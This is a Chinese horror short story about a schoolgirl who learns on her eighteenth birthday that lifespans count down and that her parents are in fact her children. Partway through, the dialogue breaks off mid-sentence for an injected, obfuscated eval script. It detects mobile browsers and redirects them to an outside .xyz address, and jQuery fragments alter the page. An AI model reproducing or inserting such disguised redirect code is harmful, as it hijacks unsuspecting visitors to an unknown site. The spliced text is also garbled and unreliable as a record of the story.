“现在，你想到的第一句诗是什么？”


    夏冰的提问冷不防地在身后响起，尤桐手里的黑板擦一停，在一座“正”字山里带走最标准的那个字。


    “你国文课上傻了哦？”尤桐没有转过去，继续擦着黑板。


    “说说看嘛。”


    “那就‘南村群童欺我老无力’好了，明明说好要一起值日的，居然就放我一个人收尾，” 她顿了顿，“你咧？”


    夏冰没有立刻回她，而是过了一会儿后才慢悠悠地说：“‘你的孩子不是你的孩子’①。”


    “干嘛？你想生小孩哦？”


    尤桐调笑着转过去——


    夏冰此时坐在窗边的位置，她侧着头看向窗外昏暗的校园，惨白的灯光和昏黄的路灯光在她脸上形成了交汇。


    她像是没有听见尤桐的揶揄，自顾自看着楼下的过道。正值晚自习下课，校园过道涌过来一阵又一阵的嬉笑声。


    “喂……”


    “还有，”夏冰突然看向尤桐的眼睛，“‘不要温和地走入那个良夜，老年应在日暮时燃烧咆哮’②。”


    几乎是她话音刚落，她头上那盏白炽灯突然无序地闪了几下。夏冰的脸在灯光下显得异常冷漠和严肃，把尤桐吓得呆愣当场。


    “阿冰，你……”


    白炽灯在挣扎几下后彻底灭了，尤桐抬眼看了它一下，不自觉地后退一步。


    “哇，真吓人。”


    尤桐下意识回答对啊，观察到好友的神态恢复到平时那样后，僵硬的表情才微微松动：“你刚刚惊到了哦？”


    “什么？”夏冰眨了眨清明的眼睛，随即骂道：“你才惊到了！我只是最近在看《星际穿越》啦！”


    尤桐松了口气，见夏冰没有异样才再次转过去：“你都不知道你刚刚那样子有多吓人，我还以为你被上身了。”


    “而且你平时不是不喜欢科幻片吗？你都喜欢看偶像剧、八点档，怎么突然转性了？还念那些老年、孩子的诗……”


    夏冰的声音突然消失，周围安静得只有破旧风扇在转，尤桐擦着一个又一个象征着人数的正字，不知道过了多久又听到夏冰若有所思的声音——


    “那我们就是老年啊。真想不懂，为什么老年人还老要选这种班长，委员的……”


    尤桐顺着夏冰的话抬起眼，在她面前的黑板上有五座像小山一样的正字，而在“山堆”上是五个人的名字。


    最中间就是她，尤桐。在她的右侧，则是比她的山堆还要大一点的吴晟桓。


    “那个吴晟桓蝉联好几年了吧，这次只考了年级第五也有人选。”


    夏冰的话戳中了尤桐的小心思，她率先擦掉自己的名字，“那他都做这么久了，同学更喜欢他也很正常。再说了，我们哪里老啦？你前几日不是才过完18岁生日。”


    “生日？”


    “嗯，你还请我去你家吃蛋糕，你忘啦？”


    “没忘，只是那不是生日。”


    尤桐迅速将黑板擦干净，拍拍手里的粉笔灰，回头看向夏冰，“不是生日，是什么？”


    夏冰的表情有一瞬间的扭曲，“没什么。你应该也要过……生日了吧，我记得你说过你的生日在油桐花开的季节，所以你爸妈才会给你取名叫尤桐。”


    “嗯！”尤桐拿起背包，“明天就是我生日，不过我们家习惯凌晨十二点吃生日蛋糕，所以没办法邀请你过去了。”


    “没关系，”夏冰笑着说，“那我先预祝你……”


    楼下突然爆发出一阵哄笑声，将夏冰的话盖了过去，尤桐只清楚地听到了三个字。


    “日快乐。”


    “谢谢你，走吧。”


    ——


    手表的数字抵达21点35分时，尤桐恰好走到了她家门口。她们小区比较老旧，许多年轻一辈都搬到了更新的小区。所以尤桐同层的邻居从五家人，锐减到了一家人。


    留下来这一家，恰巧就是和她家住对门的邻居。


    尤桐掏钥匙的时候，莫名其妙地留心听了一会儿对面的动静。她记得对门住的是一家三口，妈妈是一个强势的女人，爸爸没什么声响，倒是他们家儿子以前很爱玩摇滚，为此还和他妈妈吵了好久的架。


    但是在什么时候呢？一点动静都没有了。


    尤桐想着，钥匙孔里发出“咔哒”的声响。


    沾染了一点粉笔灰的红边运动鞋站在了暗绿色小方砖的玄关。


    “老尤，老霍，我回来啦！”她边说着，边把大门关上。随意将钥匙扔到鞋柜上，换上了拖鞋后，下意识就往厨房方向看去。


    “回来啦，时间还没到，先去洗澡吧。”


    厨房传来了尤子平朦胧的声音，中间还夹杂着一些切水果的声音。尤桐知道是在为自己准备生日蛋糕，就趿拉着拖鞋往厨房边走。


    然而走到一半，就听到霍知燕略带关切的声音，“哎呀，别走过来了，厨房油烟大。你哦，赶紧去洗一洗，然后准备吃蛋糕吧。”


    尤桐撇撇嘴，说了一句“神秘兮兮”后又不甘心地叮嘱一句：“有没有买莲雾，我最喜欢吃了。”


    霍知燕大声回应：“有啦有啦。”


    尤桐满意地往房间走去，走了几步，看到自己卧室对面的房间开着门，里面一个人都没有，她又说道：“尤加利没有回来哦？都好几个星期没回来了，今天我们生日也不回来。再这样下去，我要把他的房间改成书房。”


    “他说忙嘛。”尤子平为她的孪生弟弟尤加利开脱。


    尤桐兀自做了个鬼脸，将书包往床上一扔，拧开浴室的把手一看，用白砖砌成的浴缸里已经放满了水。


    “这是干什么？这么看重我这次生日哦，难道是因为18岁？还是因为快要参加学测。”


    怪怪的。


    尤桐怀着疑惑的心洗完澡，用毛巾擦拭着湿漉漉的头发，正准备用吹风机吹一下头发，就听到门外传来“哒哒”的脚步声。


    “谁？”


    “我啦，看你洗完没有。”是霍知燕。


    尤桐迅速擦了擦头发，隔着门和她说：“洗完了，准备吹头发。”


    想了想，她又补充道：“老霍，你们为什么这么看重我这次生日啊，很不寻常哦。”


    “哪有。”


    “是哦？”尤桐干脆靠在房门和霍知燕聊天，“老实说我今天还挺不高兴的。你们也知道我这次小考考了年级第一啊，又刚好赶上班级竞选班干部。我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326134|183230||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就想着去选个班长当当，我高中这么久都没有当过班长诶，我肯定想当当看嘛。”


    “谁知道，我考了第一名都没几个人选我。那个吴晟桓又重新当上了班长，我还觉得挺挫败的。”


    霍知燕的声音停了一下，“哎唷，都一把年纪了还在乎这个哦？”


    尤桐隐约觉得这句话很奇怪，“什么一把年纪，你和夏冰说的话怎么都那么奇怪。等到12点，我才18岁。青春无敌，好吧？”


    霍知燕和尤子平的笑声模模糊糊地从外面传来，尤桐见头发擦得差不多了，对着外面喊了一声：“寿星公要出来咯。”


    她期待地拧开房门，门外却是黑黢黢的一片。没有一丝光亮，也没有一丝声响。所有的光源都出现在她的身后，眼前是她从没涉足过的黑暗。


    “搞什么啊？老尤，老霍，你们在哪？”


    尤桐试探性地走了出去，大概走到客厅的时候，身后突然传来“啪”地一声，连她身后的灯都被关掉了。


    她彻底陷入了黑暗。


    “不要玩了，我有点害……”


    她紧张地转过身去，映入眼帘的是一个插着一根蜡烛的蛋糕。而托着蛋糕的是她无比熟悉的父母。


    摇曳的烛光中他们的脸显得格外的陌生。


    “诶，”尤桐瞬间放松下来，“你们真的很吓人，我差点以为你们不见了。”


    她笑着低头看蛋糕，就在这时，上扬的嘴角再次僵硬。


    “是我喜欢的红叶蛋糕没错啦，但是上面的字……怎么会是‘全世界最好的妈妈’……”尤桐奇怪地指了指蛋糕，“今天是我和尤加利的生日，又不是老霍的生日。你们该不会拿错蛋糕了吧？”


    “没有，”霍知燕笑着说，“怎么会拿错呢，我们确认了好几遍。”


    “确认好几遍？”尤桐问，“这不是什么大整蛊吧？那这个‘妈妈’怎么回事？”


    尤子平和霍知燕对视了一眼，嘴角的弧度上扬得愈发明显。他说：“既然你已经18岁了，我们也不想再隐瞒你什么。其实，我和知燕不是你的父母。”


    “什么？我不是亲生的？”


    “不，”尤子平说，“你是亲生的，我们也是亲生的。但我们不是你的父母，相反地，你。不，您才是我们的妈妈。”


    尤桐彻底懵了，她艰涩开口：“我是你们的妈妈？我才18岁，你们俩加起来都要80多了，我怎么可能生出来你们俩啊？”


    “时间不是这么算的，”霍知燕说，“虽然您现在是18岁没错，但每个人出生时就带着他们初始的年龄。每过一年，我们就会减一岁。”


    “所有人的生命用的都是减法。生命是有限的，我们无法预估自己的出生，但可以预见自己的死亡。”


    尤桐喃喃道：“所以按照你们的说法，我其实是只剩下18年的……寿命？而且，我会在18年后的5月23日死掉？”


    “没错。”


    尤子平从蛋糕边缘拿起一块倒下来的巧克力牌子。


    “所以我们过的从来不是什么生日。”


    他将牌子举起来，上面赫然写着四个大字——


    “死日快乐。”


    “死日快乐，妈妈。”